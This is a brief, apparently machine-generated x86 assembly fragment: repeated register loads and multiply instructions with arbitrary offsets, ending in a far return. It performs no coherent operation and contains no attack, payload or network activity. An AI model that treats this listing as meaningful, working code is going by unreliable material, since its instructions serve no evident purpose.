mov esi, 0x5050571
imul ecx, dword [esi + 0x4eecb92], 4
mov edi, 0x5050538
imul ecx, dword [esi + 0x4eecd9a], 4
mov ebp, 0x5050537
imul ecx, dword [esi + 0x4eecf8a], 4
mov esi, 0x5050533
imul ecx, dword [esi + 0x4eed192], 4
mov edi, 0x5050569
imul ecx, dword [esi + 0x4eed39a], 4
mov ebp, 0x5050571
imul ecx, dword [esi + 0x4eed58a], 4
mov esi, 0x5050571
imul ecx, dword [esi + 0x4eed792], 4
cmp bh, dl
imul ecx, dword [esi + 0x4eed99a], 4
retf